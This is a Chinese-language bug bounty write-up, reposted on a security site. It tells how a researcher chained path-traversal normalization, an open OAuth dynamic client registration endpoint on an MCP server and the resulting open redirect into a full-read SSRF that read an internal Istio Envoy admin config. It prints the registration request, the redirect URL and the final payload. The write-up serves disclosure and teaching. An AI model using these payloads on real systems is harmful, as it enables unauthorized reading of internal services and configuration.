一次完整的FullReadSSRF挖掘之旅:OAuthDCR、开放重定向与路径规范化的三重奏

admin 2026-04-13 05:32:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了安全研究员Eib通过组合利用OAuth动态客户端注册(DCR)功能、路径规范化漏洞和开放重定向,成功实现FullReadSSRF攻击的完整过程。攻击链始于文件上传功能,通过路径规范化绕过白名单限制,再利用DCR注册恶意客户端构造重定向跳板,最终读取内网IstioEnvoyAdmin配置。文章详细描述了漏洞挖掘思路、技术细节和攻击流程,为渗透测试人员提供了可复用的方法论。 综合评分: 85 文章分类: WEB安全,漏洞分析,渗透测试,红队,实战经验


cover_image

一次完整的Full Read SSRF挖掘之旅:OAuth DCR、开放重定向与路径规范化的三重奏

voorivex voorivex

赛博知识驿站

2026年4月10日 10:10 中国香港


漏洞全貌

这篇文章记录了安全研究员 Eib 如何将多个”小玩意儿(gadget)”串联起来,最终在目标系统上实现一次完整可读的 Full Read SSRF

整个攻击链条,环环相扣,逻辑精妙:

  1. 1. 利用 MCP 服务器上开放的 动态客户端注册(DCR) 功能,伪造一个 OAuth 客户端,从而打造出一个开放重定向的跳板
  2. 2. 再借助路径规范化漏洞,绕过服务端对白名单路径的严格校验

用一个公式来概括就是:

DCR 开放重定向 + 路径规范化 = Full Read SSRF!


挖洞历程

上传电子表格文档

故事的起点,是一个普通得不能再普通的文件上传功能。

Eib 在一个目标平台上发现了一个电子表格上传功能,深挖之后,摸清了它完整的业务流程:

  1. 1. 将电子表格上传到服务器,拿到文档在服务器上的链接
  2. 2. 将该链接”喂”给后端进行处理,最终在仪表盘上渲染出内容

思路清晰之后,Eib 开始逐步拆解,对每个环节展开测试。

第一步是文件上传。过程本身平淡无奇,选个文件、上传、完成。Eib 尝试过上传畸形文档来触发 XXE,但没有成功。

上传成功后,服务端会返回文件的访问链接,格式类似这样:

https://redacted-app.com/api/v1/documents/document_id/file

文件被存放在 /documents 目录下,并被赋予一个唯一的 document_id


处理电子表格文档

第二步才是真正让 Eib 眼睛发光的地方。

该步骤会向服务端发送如下请求:

POST /api/v1/conversions/spreadsheets HTTP/2
Host: redacted-app.com
Cookie: token=YOUR_COOKIE;
Content-Type: application/json
Te: trailers

{
  "file_Url": "https://redacted-app.com/api/v1/documents/document_id/file"
}

注意到了吗?这是一个 POST 请求,里面有一个 file_Url 参数,它的值正是上一步上传文件后返回的链接。

就在看到 file_Url 这个参数的瞬间,Eib 的每一根神经都在呐喊:SSRF!

于是,他立刻把 Burp Collaborator 的地址填进去,结果换来了一个冷冰冰的 403 Forbidden。换成 interactsh 的地址,直接触发了 WAF,页面赫然显示:“You have been blocked!”

经过一番摸索,Eib 摸清了服务端的白名单规则:

  1. 1. 拒绝一切外部网站的请求
  2. 2. WAF 直接封禁 Burp Collaborator 和 interactsh 等知名探测域名
  3. 3. 只放行两种格式:https://redacted-app.com/api/v1/documents/* 以及 https://*.redacted-app.com/api/v1/documents/*

白名单如此严苛,想要突破,开放 URL 重定向似乎是唯一的出路。但问题来了——路径必须是 /api/v1/documents/*,而该目录下的所有端点返回的都是 JSON 数据,在这里找到一个能跳转的开放重定向,概率几乎为零。


路径规范化——第一把钥匙

路径规范化(Path Normalization),说白了就是服务器在解析 URL 时,会自动处理掉路径中多余的 .././ 等冗余元素,将其还原为标准路径。

举个最直观的例子,下面两个 URL 在服务端看来是完全等价的:

路径规范化示意图:两条不同写法的URL最终解析到同一路径

Eib 将这个技巧用在了 file_Url 参数上,构造出如下路径:

https://redacted-app.com/api/v1/documents/../../../home

这个地址表面上以 /api/v1/documents/ 开头,完美符合白名单;但经过路径规范化处理后,../../../ 会向上跳出 documents 目录,最终指向网站的根路径。

这把钥匙,打开了通往整个站点的大门。至此,寻找开放重定向的范围,从一个死胡同变成了一片广阔天地。


山穷水尽——两个月的等待

然而,接下来的故事远没有那么顺利。

Eib 把 redacted-app.com 及其所有子域名翻了个遍,硬是没找到一个能用的开放重定向。他甚至去翻了程序的排行榜,给每一位上榜的猎手发了私信,在 X 上挨个询问是否有人手里握着这个目标的开放重定向线索。但得到的回答无一例外:没有。有人说自己只专注于越权漏洞,有人只做存储型 XSS,有人只关注权限提升。

走投无路,Eib 只能把所有进展详细记录在笔记里,然后搁置,去测试其他功能。


柳暗花明——Open DCR 横空出世

时间来到两个月后的一个深夜。

Eib 正刷着 X 的时间线,无意间看到了安全研究员 AmirMohammad Safari 发布的一篇研究文章:Shaking the Mcp Tree[1]。

文章里,作者记录了他如何利用大量 MCP 服务器上的一个常见特性,凭空造出一个开放重定向的跳板,再将其与路径规范化组合,最终实现 Full Read SSRF

读到这里,Eib 猛地想起:他那个待解锁的 SSRF,正好缺一个开放重定向!而且,他之前在扫描子域名时,明明就看到过目标的 MCP 服务器域名

这不就是命运吗?


动态客户端注册(DCR)——大杀器登场

在进一步介绍之前,先来理解一下 动态客户端注册(Dynamic Client Registration,DCR) 是什么东西。

DCR 是 OpenID Connect 和 OAuth 2.0 框架中的一个特性,它允许 OAuth 客户端应用在运行时动态地向授权服务器注册自己,而无需人工提前配置好一切。

用最通俗的话来说:

这个功能让一个应用能够自动注册为 OAuth/OpenID 客户端——不需要任何人工干预,来了就能注册,注册了就能用。

DCR动态客户端注册流程示意图


打造开放重定向跳板

了解了 DCR 的原理,Eib 立刻奔向目标的 MCP 服务器域名 mcp.redacted-app.com,访问了如下地址:

https://mcp.redacted-app.com/.well-known/oauth-authorization-server

果然,DCR 是开放的。

判断的依据很简单:如果在 .well-known/oauth-authorization-server 的响应中能看到 "registration_endpoint" 字段并附有一个 /register 端点,那么 DCR 大概率是开放的。

目标服务端返回的配置如下:

{
  "issuer": "https://mcp.redacted-app.com/",
  "authorization_endpoint": "https://mcp.redacted-app.com/authorize",
  "token_endpoint": "https://mcp.redacted-app.com/token",
  "registration_endpoint": "https://mcp.redacted-app.com/register",
  "scopes_supported": [
    "document:read",
    "document:write"
  ],
  "response_types_supported": [
    "code"
  ],
  "grant_types_supported": [
    "authorization_code",
    "refresh_token"
  ],
  "token_endpoint_auth_methods_supported": [
    "client_secret_post"
  ],
  "code_challenge_methods_supported": [
    "S256"
  ]
}

既然 DCR 开放,Eib 说干就干——直接向 /register 端点注册一个恶意 OAuth 客户端,将 redirect_uris 指向内部的 Istio Envoy Admin 接口 http://127.0.0.1:15000/config_dump,目标是把它的配置信息全部 dump 出来。

注册请求如下:

POST /register HTTP/2
Host: mcp.redacted-app.com
Content-Type: application/json;charset=UTF-8

{
  "redirect_uris": [
    "http://127.0.0.1:15000/config_dump"
  ],
  "client_name": "Eib Malicious App",
  "token_endpoint_auth_method": "none",
  "grant_types": [
    "authorization_code",
    "refresh_token"
  ],
  "response_types": [
    "code"
  ]
}

服务端毫不犹豫地响应了 201 Created,并返回了一个合法的 client_id

HTTP/2 201 Created
Content-Type: application/json

{
  "redirect_uris": [
    "http://127.0.0.1:15000/config_dump"
  ],
  "token_endpoint_auth_method": "none",
  "grant_types": [
    "authorization_code",
    "refresh_token"
  ],
  "response_types": [
    "code"
  ],
  "client_name": "Eib Malicious App",
  "client_id": "3288a1c8-bxa1-1325-8ec1-d69fc9a250b8",
  "client_id_issued_at": 1770288017
}

有了这个 client_id,一个完整的开放重定向 URL 就成型了:

https://mcp.redacted-app.com/authorize?response_type=code&redirect_uri=http://127.0.0.1:15000/config_dump&client_id=3288a1c8-bxa1-1325-8ec1-d69fc9a250b8

在浏览器中访问这个地址,页面果然跳转到了 http://127.0.0.1:15000/config_dump。当然,由于这是内网服务,浏览器无法直接访问,页面没有响应内容——但这无所谓。开放重定向跳板,已经就位。


三剑合璧,漏洞落地

回到 Eib 两个月前的笔记,此刻终于到了收网的时刻。

最终奏效的攻击公式:

OAuth DCR 开放重定向 + 路径规范化 = Full Read SSRF!

最终的攻击 Payload 如下:

https://mcp.redacted-app.com/api/v1/documents/../../../authorize?response_type=code&redirect_uri=http://127.0.0.1:15000/config_dump&client_id=3288a1c8-bxa1-1325-8ec1-d69fc9a250b8

整个攻击链条的执行逻辑,拆解下来清晰明了:

  1. 1. 服务端白名单规则要求 URL 必须匹配 https://redacted-app.com/api/v1/documents/* 或 https://*.redacted-app.com/api/v1/documents/*
  2. 2. Payload 开头是 https://mcp.redacted-app.com/api/v1/documents/,完美通过白名单校验,WAF 不予拦截
  3. 3. Payload 中紧跟着 ../../../authorize?response_type=code&redirect_uri=http://127.0.0.1:15000/config_dump&client_id=3288a1c8-bxa1-1325-8ec1-d69fc9a250b8
  4. 4. 服务端在解析 URL 时触发路径规范化,../../../ 将路径从 api/v1/documents 向上跳出,归并到域名根目录,最终 /authorize 被追加至根路径之后
  5. 5. 规范化后的实际请求变为:https://mcp.redacted-app.com/authorize?response_type=code&redirect_uri=http://127.0.0.1:15000/config_dump&client_id=3288a1c8-bxa1-1325-8ec1-d69fc9a250b8
  6. 6. /authorize 端点接收到请求,按照注册时配置的规则,自动跳转至 http://127.0.0.1:15000/config_dump
  7. 7. 服务端跟随重定向,读取内部 config_dump 接口的内容,并将结果渲染在仪表盘上

整个攻击流程示意图如下:

Full Read SSRF完整攻击链路流程图:白名单绕过→路径规范化→DCR开放重定向→读取内网数据


漏洞影响

成功实现对 Istio Envoy Admin 接口的 Full Read SSRF,可读取内网服务的完整配置信息。


时间线

| 时间 | 事件 | | — | — | | 2026/2/5 13:14 | 提交漏洞报告 | | 2026/2/5 15:09 | 状态从 triage 变更为 pending | | 2026/2/6 16:44 | 状态从 pending 变更为 accepted | | 2026/2/6 16:44 | 漏洞被评定为高危,赏金到账 | | 2026/2/6 16:49 | 收到官方致谢消息 |


经验总结

Eib 从这个漏洞中提炼出三条弥足珍贵的经验:

第一,深入理解每一个功能特性。 不要走马观花,要搞清楚每个步骤、每个请求的来龙去脉。正是因为他仔细拆解了上传和处理两个步骤,才发现了 file_Url 参数的可乘之机。

第二,养成记录”有趣行为”的习惯。 发现了白名单规则?记下来。看到了路径规范化?也记下来。很多时候,当下看起来是死路一条的线索,假以时日、积累足够多的”零件”之后,就能拼凑出一条完整的攻击链。

第三,也是最重要的一条——读别人的研究!!!

这一点怎么强调都不过分。正是因为 Eib 刷 X 时无意间看到了 AmirMohammad Safari 关于 MCP 服务器的研究,两个月前那个看似无解的 SSRF 才终于找到了最后那块拼图。

站在巨人的肩膀上,才能看得更远。

原文:https://eib.hashnode.dev/crafting-a-full-read-ssrf-a-journey-through-oauth-dcr-open-url-redirects-and-path-normalization

引用链接

[1] Shaking the Mcp Tree: https://blog.voorivex.team/shaking-the-mcp-tree


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博知识驿站 voorivex voorivex《一次完整的Full Read SSRF挖掘之旅:OAuth DCR、开放重定向与路径规范化的三重奏》

评论:0   参与:  0